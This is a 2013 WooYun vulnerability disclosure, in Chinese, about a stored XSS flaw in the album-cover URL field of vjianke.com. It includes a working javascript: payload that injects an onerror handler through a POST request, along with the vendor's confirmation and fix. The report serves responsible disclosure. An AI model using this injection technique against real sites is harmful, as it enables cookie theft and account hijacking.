当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-032575

漏洞标题:剪客网又一存储型xss漏洞(可窃取用户cookie)

相关厂商:vjianke.com

漏洞作者: ‭‭‭‭

提交时间:2013-07-30 18:54

修复时间:2013-09-13 18:54

公开时间:2013-09-13 18:54

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-30: 细节已通知厂商并且等待厂商处理中
2013-07-31: 厂商已经确认,细节仅向厂商公开
2013-08-10: 细节向核心白帽子及相关领域专家公开
2013-08-20: 细节向普通白帽子公开
2013-08-30: 细节向实习白帽子公开
2013-09-13: 细节向公众公开

简要描述:

这次是在“我的专辑”首页的xss。。

详细说明:

随便点一个专辑,专辑设置。。
用这个代码:

javascript:var c={MsgType:"SetBoardInfo",BoardName:"0.0",BoardId:"这里填自己的BoardId",ChannelId:"27",PortraitUrl:"http://vfancn.blob.core.chinacloudapi.cn/image/boardtitlepic/27/2.jpg?\"><img src=\"#\" onerror=\"alert(1);",Description:"0.0",IsPrivate:"false",WriteAccess:"true",AcceptApply:"false",AcceptContr:"true"};$.post("/VFanRequest.ashx",c);void 0


然后就xss了。。
貌似什么都可以加。。<script><style>......
其实就是专辑封面地址可以随便改,又没转码,就和上次百度贴吧贴图神器的xss一样。。

漏洞证明:

http://www.vjianke.com/ownboard/c3ced91097ff47c4a3364cc39550038f.clip

1.png


2.png


修复方案:

转码?

版权声明:转载请注明来源 ‭‭‭‭@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-07-31 11:19

厂商回复:

目前对专辑封面地址采取了过滤危险脚本的方式,用户可以提交这种含有危险脚本的地址,但是保存以后的数据经过了过滤,应该已经不能执行脚本了吧?

最新状态:

暂无


漏洞评价:

评论

  1. 2013-07-31 15:14 | ‭‭‭‭ ( 路人 | Rank:20 漏洞数:8 )

    0.0,这个是之前提交的,没想到现在审核过了。。。。。